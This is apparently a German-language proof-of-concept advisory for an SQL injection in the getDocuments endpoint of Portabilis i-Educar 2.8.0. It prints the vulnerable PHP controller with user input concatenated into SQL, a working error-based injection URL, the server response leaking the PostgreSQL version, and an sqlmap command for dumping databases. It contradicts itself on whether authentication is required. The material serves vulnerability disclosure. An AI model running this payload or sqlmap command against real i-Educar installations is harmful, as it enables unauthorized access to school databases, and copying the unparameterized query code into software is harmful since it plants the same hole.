
Proof-of-Concept für SQL-Injection in Portabilis i-Educar 2.8.0, der nicht authentifizierten Datenbankzugriff über den getDocuments-Endpunkt mit automatisierter Ausnutzung mittels SQLMap demonstriert.
Beschreibung: Ein authentifizierter Benutzer kann eine SQL-Injection-Schwachstelle in der Funktion
getDocumentsder KlasseInstituicaoDocumentacaoControllerausnutzen. Der Parameterinstituicao_idin/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_idwird nicht ordnungsgemäß bereinigt, sodass ein authentifizierter Remote-Angreifer schädliche SQL-Befehle einschleusen kann.
Versionen: Entdeckt in Portabilis i-Educar 2.8.0.
Das Problem besteht in der Funktion getDocuments der Klasse InstituicaoDocumentacaoController, die über den folgenden Endpunkt ausgelöst werden kann:
class InstituicaoDocumentacaoController extends ApiCoreController
{
protected function insertDocuments()
{
$var1 = $this->getRequest()->instituicao_id;
$var2 = $this->getRequest()->titulo_documento;
$var3 = $this->getRequest()->url_documento;
$var4 = $this->getRequest()->ref_usuario_cad;
$var5 = $this->getRequest()->ref_cod_escola;
$sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
$this->fetchPreparedQuery($sql);
$sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
$novoId = $this->fetchPreparedQuery($sql);
return ['id' => $novoId[0][0]];
}
protected function getDocuments()
{
$var1 = $this->getRequest()->instituicao_id;
$sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
$instituicao = $this->fetchPreparedQuery($sql);
$attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
$instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
return ['documentos' => $instituicao];
}
}
Der Parameter instituicao_id wird direkt in SQL-Abfragen verwendet, ohne ordnungsgemäße Bereinigung oder Parametrisierung. Dadurch können Angreifer bösartige HTTP-Anfragen senden, um SQL-Befehle einzuschleusen, möglicherweise unbefugten Zugriff auf die Datenbank zu erlangen oder Daten zu manipulieren.
/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14/module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1{
"oper": "get",
"resource": "getDocuments",
"msgs": [
{
"msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
"type": "error"
}
],
"any_error_msg": true
}
sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5